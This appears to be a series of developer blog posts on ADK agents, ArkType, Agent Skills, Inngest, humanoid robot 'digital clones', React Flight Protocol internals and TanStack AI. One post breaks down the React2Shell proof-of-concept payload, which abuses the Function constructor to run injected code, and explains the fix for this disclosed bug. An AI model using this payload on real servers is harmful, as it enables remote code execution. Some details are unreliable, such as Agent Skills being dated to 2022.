While many examples focus on Python, We are going to built Agent using Typescript

1.Core Features and Benefits of ADK

ADK simplifies end-to-end development by making it feel like traditional software development. Its features are built around several core pillars:

a.Precision and Control

• Flexible Orchestration: Create predictable pipelines using workflow agents like sequential, parallel, and loop agents.

• Dynamic Routing: For complex scenarios, agents can adapt their strategy in real-time based on LLM-driven reasoning.

b.Multi-agent Architecture

Instead of one massive agent, ADK allows you to build a hierarchy of specialized agents. A primary agent can delegate specific tasks to these specialized roles, making the system more reliable and scalable.

c.Rich Tool Ecosystem

Agents can leverage pre-built tools such as Google Search and Code Execution, or integrate with custom enterprise APIs and third-party libraries. ADK also allows agents to use other agents as tools.

d. Code-First and Modular Design

Agent logic and orchestration are defined directly in code (TypeScript, Python, or Java), which promotes better testability and version control.

e. Integrated Tooling and Evaluation

• CLI & Web UI: Easily run, test, and debug your agents locally

• Built-in Evaluation: Test performance against predefined scenarios to evaluate both the final answer and the reasoning trajectory used to reach it.

2.The Core Agent Architecture

In ADK, an agent is defined by the formula: Agent = Model + Tools + Orchestration.

3.Getting Started with TypeScript

Create an empty adk-agent directory for your project:

adk-agent/

Use the npm tool to install and configure dependencies for your project, including the package file, ADK TypeScript main library, and developer tools. Run the following commands from your adk-agent/ directory to create the package.json file and install the project dependencies:

cd adk-agent/
# initialize a project as an ES module
npm init --yes
npm pkg set type="module"
npm pkg set main="agent.ts"
# install ADK libraries
npm install @google/adk
# install dev tools as a dev dependency
npm install -D @google/adk-devtools

Create the code for a basic agent, including a simple implementation of an ADK Function Tool, called getCurrentTime. Create an agent.ts file in your project directory and add the following code:

import {FunctionTool, LlmAgent} from '@google/adk';
import {z} from 'zod';

/* Mock tool implementation */
const getCurrentTime = new FunctionTool({
  name: 'get_current_time',
  description: 'Returns the current time in a specified city.',
  parameters: z.object({
    city: z.string().describe("The name of the city for which to retrieve the current time."),
  }),
  execute: ({city}) => {
    return {status: 'success', report: `The current time in ${city} is 10:30 AM`};
  },
});

export const rootAgent = new LlmAgent({
  name: 'hello_time_agent',
  model: 'gemini-2.5-flash',
  description: 'Tells the current time in a specified city.',
  instruction: `You are a helpful assistant that tells the current time in a city.
                Use the 'getCurrentTime' tool for this purpose.`,
  tools: [getCurrentTime],
});

Add your API Key

For this tutorial we use the Gemini API, which requires an API key. If you don't already have Gemini API key, create a key in Google AI Studio on the API Keys page.

In a terminal window, write your API key into your .env file of your project to set environment variables:

echo 'GEMINI_API_KEY="YOUR_API_KEY"' > .env

Run your Agent

You can run your ADK agent with the @google/adk-devtools library as an interactive command-line interface using the run command or the ADK web user interface using the web command. Both these options allow you to test and interact with your agent.

npx adk run agent.ts

Run with Web Interface

Run your agent with the ADK web interface using the following command:

npx adk web

This command starts a web server with a chat interface for your agent. You can access the web interface at (http://localhost:8000). Select your agent at the upper right corner and type a request.

Voila you have made it. You have created an agent in no time. Congrats!!!, but still a long way to go.

How it works

In the agent.ts file you can see the following snippet

root_agent = Agent(
   model=’gemini-2.5-flash’, # Model: The reasoning engine (Course 1!)
   name=’root_agent’, # Identity: Required identifier
   description=’A helpful agent.’, # Purpose: What this agent does
   instruction=’You are helpful.’ # Behavior: How to act
   # Tools: You’ll add these in Module 3
   # Orchestration: Handled automatically by the Agent class
)

• Model ( gemini-2.5-flash): The LLM that provides reasoning and decision-making

• Tools: Functions the agent calls to take actions (module 3)

• Orchestration: The Agent class automatically runs the Perceive → Think → Act → Check loop

Will catch up in a new post where we dive in more with ADK Agents. Till then Happy Learning :)

In simple terms

ArkType lets you define a type once, and use it for both compile-time typing and runtime validation

1.Why ArkType is Needed

In TypeScript, types exist only during development (compile time). When your code runs, TypeScript types disappear.

type User = {
  name: string
  age: number
}

If you receive JSON from an API

const data = JSON.parse(input)

TypeScript cannot guarantee that data actually matches User.

This is where ArkType helps — it validates the data at runtime.

import { type } from "arktype"

const User = type({
  name: "string",
  age: "number"
})

const result = User({ name: "John", age: 30 })

if (result instanceof Error) {
  console.log(result.message)
} else {
  console.log("Valid user")
}

What happens in the above code

1. We define a schema

2. Pass data to it

3. ArkType validates it at runtime

4. TypeScript automatically knows the type.

2.Features of ArkType

a.Typescript like syntax

const User = type({
  id: "number",
  email: "string.email",
  age: "number >= 18"
})

b.Runtime validation errors

User({
  id: 1,
  email: "test@mail.com",
  age: 20
})

Invalid input throws structured errors.

c.Full Type Inference

type UserType = typeof User.infer

TypeScript automatically understands the type.

d. Very Fast

ArkType is designed to be extremely fast compared to many validation libraries like Zod, Yup. ArkType takes 14 nanoseconds at runtime which is 20x faster than Zod and 2000x faster than Yup.

You can check the benchmarks here: https://moltar.github.io/typescript-runtime-type-benchmarks/

3.Comparison with other libraries

ArkType

const User = type({
  name: "string",
  age: "number > 18"
})

// extract the type if needed
type User = typeof User.infer

Zod

const User = z.object({
  name: z.string(),
  age: z.number().min(18)
})

ArkType is much shorter and closer to natural TypeScript.

4.Installation & Setup of ArkType in your Project

You can install arktype with the following command

bun install arktype

Ensure you have

• TypeScript version >=5.1.

• A package.json with "type": "module" (or an environment that supports ESM imports)

• A tsconfig.json with...

  • strict or strictNullChecks (required)

  • skipLibCheck (recommended)

  • exactOptionalPropertyTypes (recommended)

VS Code Extension - To take advantage of all ArkType's autocomplete capabilities, you'll need to add the following to your workspace settings at ./vscode/settings.json

// allow autocomplete for ArkType expressions like "string | num"
"editor.quickSuggestions": {
	"strings": "on"
},
// prioritize ArkType's "type" for autoimports
"typescript.preferences.autoImportSpecifierExcludeRegexes": [
	"^(node:)?os$"
],

You can check more about ArkType from their official documentation: https://arktype.io/docs/intro/setup

Well you have gathered some information about ArkType today and just start building things with ArkType and see how it works for you.

Will catchup in another interesting post :)

1.About Agent Skills

Agent Skills, initially introduced by Anthropic in October 2022, an innovative way to share procedural knowledge with AI agents. At their core, these skills are simple yet powerful they're markdown files containing clear, specific instructions for your AI.

Think of them as mini-manuals that teach your AI exactly how to perform a task. Each skill comes with a YAML header that includes a name and description, giving your agent the necessary context before diving into action.

The brilliance of Agent Skills quickly caught on, leading to an open standard that has been embraced by major players in the AI world, including OpenAI Codex, Microsoft, GitHub, and Cursor. This widespread adoption means a more unified and portable way to enhance AI capabilities across different platforms.

2.Skills.sh - Your New Best Friend for Skill Management

Managing these powerful skills has never been easier, thanks to skills.sh, Vercel's new command-line interface (CLI) tool. This tool simplifies the process of installing and managing skills, making it accessible even for those new to AI agent development.

3.Getting Started

To install a skill, use the skills CLI:

npx skills add vercel-labs/agent-skills

This will install the skill and make it available to your AI agent.

Go to your project where you need a skill for one of the project i am using the anthropic skill for a simple website that is npx skills add anthropics/skills

Once the skill is installed you can choose the skill that you want in my case it is frontend-design and once it is choosed you can choose to which agent you want this skill

After choosing the agent you can see the skill repo is clone and it is added

If you open your project now you can see that skill. Example if you choose the claude agent you can see that skill like below

And now you can give your Claude agent the instructions that you want and it will consider the following instructions.

4.Creating your own skill

You can create your own skill and publish it to the vercel skills for that what you need to do is very simple that is

npx skills --help

you can see the list of options from the skills cli like below

Now we will create a new skill for code review using the below command

npx skills init skills code-review

which will create a skill like below

And if you open the project folder you can see a skill template like below

Now we will add a skill creator so that we will know the structure that we need to followup. Add the skill creator in the skill using the below command

npx skills add https://github.com/anthropics/skills --skill skill-creator

Once the skill-creator is installed you would see something like this in your project directory

Now you can update the instructions based on your need and can share the skill.

Will take one more example of downloading the react best practices that needs to be followed. Download the

npx skills add https://github.com/vercel-labs/agent-skills --skill vercel-react-best-practices

Once the skill is downloaded you can see 3 things inside the .claude directory inside the vercel-react-best-practices

• AGENTS.md which is mainly for agents and LLMs to follow when maintaining

• SKILL.md Guidelines for the skill

• rules directory - Here you can find the best practices along with examples like below

  

5.How to Validate a Skill

When building a skill, it's crucial to work iteratively on it until it reaches a state where you can fully delegate the task to Claude.

• Generate log files: Once you have validated that your skill works correctly, you should generate log files. This helps ensure that you don't accidentally use a skill that has not been properly validated.

• Teach Claude edge cases: You need to teach Claude or your AI agent the edge cases to ensure it handles them well, and then add these to the skill. This iterative process helps refine the skill until it consistently produces the desired results.

6.Sharing a skill via GitHub

Skills are shared via GitHub by housing them within a skills directory inside a GitHub repository.

Here's how it works:

• The entire set of skills for a project lives inside this skills directory.

• Each specific skill will have its own directory within this main skills folder.

• Inside each individual skill's directory, there is a skill.md file, which serves as the entry point for the AI agent. This file contains the skill's description and main instructions.

• Alongside the skill.md file, you can include other resources like scripts, additional markdown files, or templates that the skill might need.

• This structure allows skills to be easily cloned and installed by other users using tools like skills.sh.

This method is convenient because a skill can be located in the same repository as the tool it teaches the agent to use, making it easier to update the skill whenever the tool is updated

Voila we have learnt how to use a skill in our project to make things better as well as learned how to create our own skill.

You can find some great skills in the Vercel 🎉

Sky is the limit of what you can do with them.

To support real-time, bi-directional communication, developers often rely on technologies like WebSockets.

This is where Inngest comes in.

1. What is Inngest?

Inngest replaces traditional message queues (like RabbitMQ or SQS) and state management systems. It allows you to write plain functions in TypeScript, Python, or Go that are durable—meaning they can run for minutes, hours, or months, survive server restarts, and automatically retry on failure.

Key Concepts

• Events: Instead of calling a function directly, you "send" an event (like user.signup). Inngest then triggers any functions listening for that event.

• Steps: Functions are broken into atomic "steps" (step.run, step.sleep). If a function fails at step 3, Inngest knows to only retry step 3 without re-running steps 1 and 2.

• Durable Execution: Inngest handles the state and "waits" for you. For example, you can tell a function to step.sleep("wait-a-week", "7d"), and the function will pause and resume a week later.

2. Core Features

• Zero Infrastructure: You don’t need to host a queue or a worker. Inngest calls your functions via a secure HTTPS webhook.

• Flow Control: Built-in support for concurrency (limit how many jobs run at once), throttling (limit throughput to third-party APIs), and debouncing.

• Observability: A built-in dashboard shows every event, every function run, and precisely where a workflow failed or is currently paused.

• Local Development: The Inngest Dev Server gives you a local UI to trigger events and visualize your functions as you write them.

You can read more about Inngest and it’s features from this document

Now we will see how we can integrate inngest in Next.js application

3.Next.js Quick Start

Before we start ensure you have created a Next.js application using the below command

npx create-next-app@latest --ts --eslint --tailwind --src-dir --app --import-alias='@/*' inngest-guide

once done run the application using the command npm run dev

Now we will install the inngest. With the Next.js app now running open a new tab in your terminal. In your project directory's root, run the following command to install Inngest SDK:

npm install inngest

Now we will run the inngest server which is a fast, in-memory version of Inngest where we can quickly send and view events and function runs

npx --ignore-scripts=false inngest-cli@latest dev

In your browser open http://localhost:8288 to see the development UI where later you will test the functions you write:

Create an Inngest Client

Inngest invokes your functions securely via an API endpoint at /api/inngest. To enable that, you will create an Inngest client in your Next.js project, which you will use to send events and create functions.

Make a new directory next to your app directory (for example, src/inngest) where you'll define your Inngest functions and the client.

In the /src/inngest directory create an Inngest client:

import { Inngest } from "inngest";

// Create a client to send and receive events
export const inngest = new Inngest({ id: "my-app" });

Next, we will set up a route handler for the /api/inngest route. To do so, create a file inside your app directory (for example, at src/app/api/inngest/route.ts) with the following code:

import { serve } from "inngest/next";
import { inngest } from "../../../inngest/client";

// Create an API that serves zero functions
export const { GET, POST, PUT } = serve({
  client: inngest,
  functions: [
    /* your functions will be passed here later! */
  ],
});

Create your first Inngest Function

In this step, we will write our first reliable serverless function. This function will be triggered whenever a specific event occurs (in our case, it will be test/hello.world). Then, it will sleep for a second and return a "Hello, World!".

Inside your src/inngest directory create a new file called functions.ts where you will define Inngest functions. Add the following code:

import { inngest } from "./client";

export const helloWorld = inngest.createFunction(
  { id: "hello-world" },
  { event: "test/hello.world" },
  async ({ event, step }) => {
    await step.sleep("wait-a-moment", "1s");
    return { message: `Hello ${event.data.email}!` };
  },
);

Now we will add the function to serve()

Next, import your Inngest function in the routes handler (src/app/api/inngest/route.ts) and add it to the serve handler so Inngest can invoke it via HTTP:

import { serve } from "inngest/next";
import { inngest } from "../../../inngest/client";
import { helloWorld } from "../../../inngest/functions";

export const { GET, POST, PUT } = serve({
  client: inngest,
  functions: [
    helloWorld, // <-- This is where you'll always add all your functions
  ],
});

Trigger your function from the Inngest Dev Server UI

Inngest is powered by events.You will trigger your function in two ways: first, by invoking it directly from the Inngest Dev Server UI, and then by sending events from code.

With your Next.js app and Inngest Dev Server running, open the Inngest Dev Server UI and select the "Functions" tab http://localhost:8288/functions. You should see your function. (Note: if you don't see any function, select the "Apps" tab to troubleshoot)

To trigger your function, use the "Invoke" button for the associated function:

In the pop up editor, add your event payload data like the example below. This can be any JSON and you can use this data within your function's handler. Next, press the "Invoke Function" button:

{
  "data": {
    "email": "test@example.com"
  }
}

The payload is sent to Inngest (which is running locally) which automatically executes your function in the background! You can see the new function run logged in the "Runs" tab:

When you click on the run, you will see more information about the event, such as which function was triggered, its payload, output, and timeline:

Triggering from code

To trigger Inngest functions to run in the background, you will need to send events from your application to Inngest. Once the event is received, it will automatically invoke all functions that are configured to be triggered by it.

To send an event from your code, you can use the Inngest client's send() method.

import { NextResponse } from "next/server";
import { inngest } from "../../../inngest/client"; // Import our client

// Opt out of caching; every request should send a new event
export const dynamic = "force-dynamic";

// Create a simple async Next.js API route handler
export async function GET() {
  // Send your event payload to Inngest
  await inngest.send({
    name: "test/hello.world",
    data: {
      email: "testUser@example.com",
    },
  });

  return NextResponse.json({ message: "Event sent!" });
}

Every time this API route is requested, an event is sent to Inngest. To test it, open http://localhost:3000/api/hello (change your port if your Next.js app is running elsewhere). You should see the following output: {"message":"Event sent!"}

If you go back to the Inngest Dev Server, you will see a new run is triggered by this event:

That’s it you have learned how to create Inngest functions and you have sent events to trigger those functions

Today, this dream is closer to reality than ever, ushering in an era where humanoid robots are not just performing tasks, but learning the very nuances of human behavior. What if this learning could extend to preserving the unique essence of our loved ones, creating digital echoes in a physical form?

From Industrial Arms to Graceful Giants: The Rise of Humanoid Robotics

For decades, robots have been synonymous with precision and power on factory floors. But a new generation of robotics is emerging, exemplified by agile machines like the Unitree G1 or Optimus Robot a.k.a Tesla Bots, which can dance, jump, and navigate complex terrains with remarkable fluidity.

Companies like Boston Dynamics have pushed the boundaries of bipedal locomotion, while the synchronized performances of humanoid robots in places like Chengdu showcase their growing dexterity and coordination. These are no longer just tools, they are the platforms designed for dynamic interaction in human environments.

But what truly unlocks the potential for these robots to integrate into our lives is their ability to learn and adapt. This is where the sophisticated interplay of Artificial Intelligence, particularly Imitation Learning and Reinforcement Learning, comes into play.

The Art of Mimicry and the Science of Mastery: How Robots Learn Like Us

Imagine teaching a robot to make a cup of tea exactly as your grandparent would, with their particular flourish, their specific way of holding the kettle. This isn't just about programming a sequence of steps. it's about capturing a nuanced, human behavior.

Imitation Learning (IL)

Imitation Learning (IL), also known as Learning from Demonstration, is the robot's first step into mimicking human actions. It's akin to a child learning by watching an adult. The robot observes an "expert" (a human) performing a task – perhaps through video recordings, motion capture, or direct physical guidance. It collects a dataset of what the expert sees (the "state" of the world) and what the expert does (the "action" they take). Using this data, the robot trains a predictive model, often a neural network, to map observations directly to actions.

The beauty of imitation learning is its simplicity and speed. It provides a "warm start," quickly giving the robot a baseline of desired behavior. It bypasses the need for the robot to figure things out from scratch, which can be inefficient or even dangerous in the real world. For learning subtle gestures, specific walking gaits, or even characteristic vocal inflections, imitation learning is invaluable.

However, pure imitation has its limits. What happens if the environment changes slightly, or if the robot encounters a situation not explicitly covered in the training data? This is where Reinforcement Learning (RL) steps in, elevating the robot from a mimic to a true learner.

Reinforcement Learning (RL)

Reinforcement Learning is the process of learning through trial and error, guided by a system of rewards. The robot, now an "agent," interacts with its environment, taking actions and receiving feedback in the form of numerical "rewards" or "penalties." Its goal is to discover a "policy" – a strategy that tells it what to do in any given situation to maximize its cumulative reward over time.

Think of it this way: Imitation Learning teaches the robot how to make tea like your grandparent. Reinforcement Learning, layered on top, teaches it to make good tea by experimenting with water temperature, brewing time, or sugar levels, and learning from the resulting "deliciousness" (reward) or "bitterness" (penalty) feedback. It allows the robot to adapt, generalize, and even surpass the original expert's performance by discovering more optimal strategies.

The most advanced systems combine both: Imitation Learning provides a robust initial policy, getting the robot close to expert-level performance. Then, Reinforcement Learning takes over, fine-tuning that policy, allowing the robot to adapt to new situations, personalize its interactions, and continuously improve its performance beyond mere mimicry. This synergy is critical for creating robots that are not just animated dolls, but responsive, evolving entities.

Metadata of a Life: Crafting Digital Clones

Now, let's push the boundaries of this technology. What if the "expert" data we feed these learning algorithms isn't just a generic demonstration, but the incredibly rich "metadata" of a specific individual – a loved one?

Imagine curating a vast digital archive:

• Speech and Audio: Recordings of conversations, voice messages, interviews, videos. AI-powered Natural Language Processing (NLP) and Speech Synthesis could learn their unique vocabulary, sentence structure, tone, rhythm, and even subtle vocal quirks, allowing a robot to speak like them.

• Visual Data: Thousands of photos and videos capturing their facial expressions, body language, gestures, how they walk, how they laugh. Computer Vision algorithms could extract these patterns, enabling the robot to animate its face and move its body with their characteristic mannerisms.

• Textual Data: Emails, messages, social media posts, written documents, diaries. This provides insight into their personality, beliefs, sense of humor, and conversational style, which an advanced Language Model could learn to emulate.

• Behavioral Patterns: Even data from wearable devices could contribute, hinting at activity levels, sleep patterns, or daily routines, helping to inform a holistic digital profile.

This aggregated "metadata of a life" becomes the blueprint for a digital clone – an AI entity trained to capture and express the essence of a person. Integrated into an advanced humanoid robot, this digital clone could manifest as a physical presence.

Recent Advancements

1. Tesla's Optimus Gen 3 entered factory pilots in late 2025, autonomously sorting batteries and performing up to 100 daily tasks like cooking after learning from videos alone.

2. Unitree G1, at $16,000, debuted in Chinese warehouses for hazardous inspections and healthcare rehab, showcasing dexterous hands for real-time adaptation.

3. Figure 02 deployed in US manufacturing sites with Mercedes-Benz, using AI vision to manipulate diverse objects in logistics picking tasks. Boston Dynamics' electric Atlas demonstrated RL-trained dynamic maneuvers at the 2025 World Robot Conference in Beijing, aiding disaster simulations.

4. Agility Robotics' Digit began Amazon warehouse operations worldwide, navigating uneven floors and ramps for tote handling where wheeled robots fail

5. Unitree G1 performed synchronized dances at Chengdu concerts, highlighting coordination for entertainment uses.

The Future: A New Frontier of Connection

As we stand on the precipice of this "post-biological" age, the integration of digital clones into humanoid bodies isn't just a matter of "when," but "how." We are moving toward a world where the people we love don't just live on in photos or memories, but as interactive, physical companions.

A robot trained on a lifetime of metadata could offer a form of "Digital Immortality." It could tell your grandchildren stories about your youth in your own voice, replicate the exact way you tilt your head when you're thinking, and continue to learn and grow alongside your family through Reinforcement Learning.

The Heart in the Machine

While the technical hurdles—crossing the "Uncanny Valley" and perfecting multi-modal learning—are being cleared at breakneck speed, the true challenge lies in the soul of the endeavor.

As we combine our "dear ones'" metadata with these graceful giants, we must ask ourselves:

• Consent and Legacy: Who owns the digital echo of a person? Does a "digital twin" have rights, and how do we ensure a loved one’s data is used to honor them, not just mimic them?

• The Nature of Grief: Does having a physical "copy" help us heal, or does it prevent us from letting go?

• Authenticity vs. Algorithm: Can a machine, no matter how well-trained via RL and Imitation, truly capture the "spark" that makes us human, or will it always be a high-fidelity reflection?

The future of humanoid robotics is more than just a leap in engineering, it is a mirrors-edge dance between memory and machinery. As these robots enter our homes, they won't just be tools or entertainers—they will be the vessels for our most precious data: our identity.

References

1. UniTree - https://www.unitree.com

2. Figure - https://www.figure.ai/

3. Agility Robotics - https://www.agilityrobotics.com/solution

But what if an attacker could inject their own chunks into that stream?

A security researcher, Lachlan Davidson, demonstrated that by abusing React’s internal Flight Reviver logic, it’s possible to turn a crafted RSC payload into arbitrary JavaScript execution on the client.

1.React Server Component

In React Server Component the server actually doesn’t send JavaScript but it sends JSX (React Flight Protocol). In the server we convert the JSX into a React Flight Payload and the client receives the payload deserialize it on the client side and then it gets the HTML out of it

2.Let’s Decode the Payload

Here is the payload which was shared by Lachlan Davidson

const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}

At first by looking at the code you might be thinking is this React. Well this is the payload send by the server to the client in chunks

In React Server Components (RSC), the server sends "chunks" of data to the client. React "revives" these chunks into UI. The vulnerability occurs when an attacker crafts a chunk that looks like a Promise (a "Thenable") to trick React's internal parser into executing code.

3.Breakdown of the Payload

01. The Entry Point (Chunk 0)

'0': '$1' React starts parsing at Chunk 0. It sees $1, which is a pointer telling React: "Go look at Chunk 1 to find out what I am."

02. The "Thenable" Trap (Chunk 1)

This is where the magic happens. In JavaScript, any object with a .then() method is treated like a Promise.

• status: 'resolved_model': This tells React the "Promise" is already finished and ready to be processed.

• then: '$2:then': This tells React to use the .then method found in Chunk 2.

03. The Self-Reference Trick (Chunk 2 & 3)

'2': '$@3', '3': [] The $@ symbol is a "self-reference." It creates a loop that allows the attacker to grab React's own internal Chunk Wrapper object. This wrapper has a built-in function that React uses to process data. By grabbing this, the attacker can now run React’s internal code on their own malicious data.

04. Injecting the Malicious JSON

'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}' Once React starts "resolving" Chunk 1, it parses this string. The $B3 is the "nuclear option." The B prefix tells React: "This is a Blob, go fetch it using the _formData.get method."

05. Hijacking the Constructor (Chunk 4)

This is the "Pro" move. The attacker redefines what _formData.get actually is:

• _formData.get: '$3:constructor:constructor'

  • Chunk 3 is an array ([]).

  • [].constructor is the Array function.

  • Array.constructor is the global Function object (which works like eval).

• _prefix: console.log(7*7+1)//

  • This is the code to be run. The // is vital because React appends a character at the end. The // comments it out so the code doesn't crash!

Without console.log(7*7+1)// the code

 return response._formData.get(response._prefix + blobId);

would execute

Function(console.log(7*7+1)3) // Syntax error! '3' is invalid

With the comment //, it causes no error -

'_prefix': 'console.log(7*7+1)//'

Function(console.log(7*7+1) //3) // 3 is now inside a comment so ignored 🔥

Final Notes

Well this issues has been reported to Meta by Lachlan Davidson and a patch was provided by the React Team by adding hasOwnProperty https://github.com/facebook/react/pull/35277/files and even more fixes for the same.

That marks the end of decoding the payload from the Flight protocol. Will catch up in another interesting post soon 😄

This post will dive deep into the React Flight Protocol, explaining its structure, how it handles various data types, and why it's a foundational technology for the future of web development.

1.Client-Side Rendering

For years, React applications predominantly embraced a client-side rendering (CSR) model, where the browser downloaded a large JavaScript bundle, hydrated the DOM, and managed all subsequent UI updates. While powerful, this approach often led to:

• Large JavaScript bundles: Shipping UI logic, data fetching, and state management to the client.

• Waterfall data fetching: Client components often had to fetch data sequentially, leading to slower perceived load times.

• Complex server-side rendering (SSR) hydration: Reconciling server-generated HTML with client-side React.

React Server Components address these challenges by enabling developers to render components entirely on the server, keeping their code and data fetching logic off the client bundle. The magic that bridges the server and client in this new architecture is the React Flight Protocol.

2.What is React Flight Protocol?

At its core, the React Flight Protocol is a compact, streaming, JSON-like serialization format specifically designed to represent a React element tree. It's not HTML; it's a description of the UI, including:

1. React elements: The structure of your components (e.g., <div>, <MyComponent>).

2. Props: Data passed to components.

3. Client Component references: Pointers to client-side code that needs to be loaded and rendered on the browser.

4. Server Action references: Pointers to server-side functions that can be invoked from the client.

Crucially, the Flight Protocol allows React to send only the necessary instructions to the client. Server-only code, sensitive data, and large dependencies stay on the server, resulting in significantly smaller client-side bundles and improved performance.

3.React Flight Protocol vs. React Server Components Protocol: A Clarification

It's common to hear both "React Flight Protocol" and "React Server Components Protocol" used interchangeably. To be precise:

• React Server Components (RSC) is the feature that allows you to write components that render exclusively on the server, with zero client-side JavaScript.

• The React Flight Protocol is the underlying technical specification and wire format that enables RSCs to function. It's the language the server and client speak to exchange UI updates.

Therefore, there isn't a separate, distinct "React Server Components Protocol." When people refer to it, they are almost certainly referring to the React Flight Protocol itself. The Flight Protocol is the protocol used by Server Components.

4.How React Flight Protocol Works Under the Hood

The Flight Protocol is a stream of instructions and data. Unlike a single HTTP response that delivers a complete HTML page or a JSON API payload, the Flight stream can deliver parts of the UI as they are ready, interweaving different types of information.

The Streamable, Interleaved Format

The protocol uses a custom, line-delimited format where each line typically starts with a single character indicating the type of instruction, followed by an ID and then the associated data. This allows the client to parse and process the stream incrementally.

Common instruction types include:

• J: JSON data (e.g., props, element structures).

• M: Module reference (for Client Components).

• A: Asynchronous instruction (e.g., for Suspense boundaries).

• S: Symbol reference (e.g., $$typeof for React elements).

• R: Root element.

Serializing Components and Elements

When a Server Component renders, its JSX output is not converted to HTML. Instead, it's serialized into a JSON-like representation. For example, a simple <div>Hello</div> might be represented as ["$","div",null,{"children":"Hello"}].

The $ prefix is a convention for special React elements. $$typeof symbols, which React uses internally to distinguish different types of elements (like REACT_ELEMENT_TYPE, REACT_SERVER_COMPONENT_TYPE), are also serialized efficiently.

Client References (Module References)

This is where the magic of integrating server and client components happens. When a Server Component renders a Client Component, the client component's code is not sent over the Flight Protocol. Instead, the server sends a reference to the client component's module.

The M instruction is used for this. It maps an arbitrary ID to a specific client component module. The client-side React runtime then uses this ID to dynamically import the actual JavaScript module for that component.

The reference format often looks like ["$","M",<id>,null,<props>], where <id> refers to a module previously defined in the stream (e.g., M1: {"id":"./path/to/ClientComponent.js#default"}).

Data Serialization and Hydration

The Flight Protocol efficiently serializes various data types, including primitive values, arrays, and objects. It can also handle more complex types like Promises, allowing Suspense boundaries to work seamlessly across the server-client divide.

The client-side React runtime reads this stream, reconstructs the React element tree, and then renders it. When a client component is referenced, the runtime fetches its JavaScript bundle, instantiates it, and hydrates it with the props received from the server.

5.The Wire Format Structure (Payload Examples)

Let's illustrate with a simple example. Imagine a Server Component (Page) that renders a Client Component (ClientButton).

// app/page.tsx (Server Component)
import ClientButton from './ClientButton'; // This is a Client Component

export default function Page() {
  const message = "Hello from Server!";
  return (
    <div>
      <h1>{message}</h1>
      <ClientButton text="Click me!" />
    </div>
  );
}

// app/ClientButton.tsx (Client Component)
'use client'; // This directive marks it as a Client Component
import { useState } from 'react';

export default function ClientButton({ text }: { text: string }) {
  const [count, setCount] = useState(0);
  return (
    <button onClick={() => setCount(count + 1)}>
      {text} Count: {count}
    </button>
  );
}

When the Page Server Component is requested, the server might send a Flight Protocol payload similar to this (simplified and illustrative):

J0: ["$","div",null,{"children":[["$","h1",null,{"children":"Hello from Server!"}],["$","M",1,null,{"text":"Click me!"}]]}]
M1: {"id":"./app/ClientButton.tsx#default"}

Let's break this down:

1. J0: ...: This is a JSON instruction (J) with ID 0. It describes the root React element structure.

   • ["$","div",null,...]: Represents a div element.

   • "children": [...]: An array of children.

   • ["$","h1",null,{"children":"Hello from Server!"}]: The h1 element with its text.

   • ["$","M",1,null,{"text":"Click me!"}]: This is the crucial part. It's an instruction to render a module reference (M) with ID 1. The null is for the key, and {"text":"Click me!"} are the props passed to the ClientButton.

2. M1: {"id":"./app/ClientButton.tsx#default"}: This is a Module instruction (M) with ID 1. It tells the client that whenever it encounters a reference to module 1, it should import the default export from ./app/ClientButton.tsx.

The client-side React runtime receives this stream. It sees the div and h1 elements and renders them. When it encounters ["$","M",1,...], it looks up module 1, dynamically imports ./app/ClientButton.tsx, and then renders ClientButton with the provided text prop. The ClientButton's interactivity (the useState hook) is handled purely on the client.

6.The React2Shell Security Vulnerability

While the Flight Protocol was designed to be a secure serialization format, December 2025 revealed a critical flaw in its implementation, now widely known as React2Shell. This vulnerability (CVE-2025-55182) carries a maximum severity score of CVSS 10.0, highlighting that even robust protocols can suffer from implementation defects.

What is React2Shell?

React2Shell is an Insecure Deserialization vulnerability inherent to the React Server Components (RSC) "Flight" protocol implementation itself (specifically in the react-server-dom-* packages). Unlike previously thought, this is not just about user data; the vulnerability lies in how the React server runtime deserializes the stream of component instructions.

How it Works

The Flight Protocol uses special prefixes (like $, @, and $F) to denote different data types (references, promises, symbols). The vulnerability exploits the reviveModel function—the internal mechanism React uses to reconstruct the component tree on the server.

1. The Attack: An attacker sends a maliciously crafted HTTP request containing a Flight stream with specific polluted prototypes or referencing internal gadgets (using the $@ chunk type).

2. The Execution: Because the parser failed to properly validate these keys against the object's own properties, the server blindly deserializes the payload.

3. The Result: This triggers Remote Code Execution (RCE), allowing the attacker to run arbitrary shell commands on the server without any authentication.

The December 11, 2025 Update Following the initial disclosure, further scrutiny by the security community revealed two additional vulnerabilities in the same subsystem, addressed in the December 11th security patch:

• CVE-2025-55184 (DoS): A high-severity flaw where crafted requests can trap the server in an infinite loop, causing a Denial of Service.

• CVE-2025-55183 (Source Disclosure): A medium-severity issue that could trick the server into returning the compiled source code of Server Actions, potentially leaking business logic.

Mitigation and Best Practices The only effective mitigation for React2Shell is to patch immediately.

• Upgrade Essential Packages: Ensure next is upgraded to 15.1.11+ or 14.2.35+ (for older versions). If you are using raw React 19, ensure react-server-dom-webpack is version 19.0.1+.

• Audit Dependencies: Check for any third-party libraries or internal tools that might be bundling older versions of the RSC renderer.

• Least Privilege: Ensure your Node.js server process runs with the absolute minimum permissions required, limiting the blast radius should an RCE occur.

Conclusion

The React Flight Protocol is a sophisticated yet elegant solution to the challenge of building modern, high-performance web applications with React. By defining a streamable, interleaved wire format, it enables Server Components to deliver significant performance benefits and a streamlined developer experience.

Read More about the React2Shell vulnerability

1. https://nextjs.org/blog/security-update-2025-12-11

2. https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

3. https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/

PoC by Lachlan for React2Shell Vulnerability: https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc

Today’s AI ecosystem pushes you into someone else’s platform, tools, and workflow. TanStack AI flips that. It’s open source, adapter-driven, and works with your existing stack instead of boxing you into a new one.

1.What’s Inside TanStack AI

1. Multi-Language Server Support : Out of the gate: JavaScript/TypeScript, PHP, and Python — each supporting full agentic flows and tool calling.

2. Adapters for Real-World Providers : TypeScript adapters for

• OpenAI

• Anthropic

• Gemini

• Ollama

3. Plus built-in summarization + embedding support.

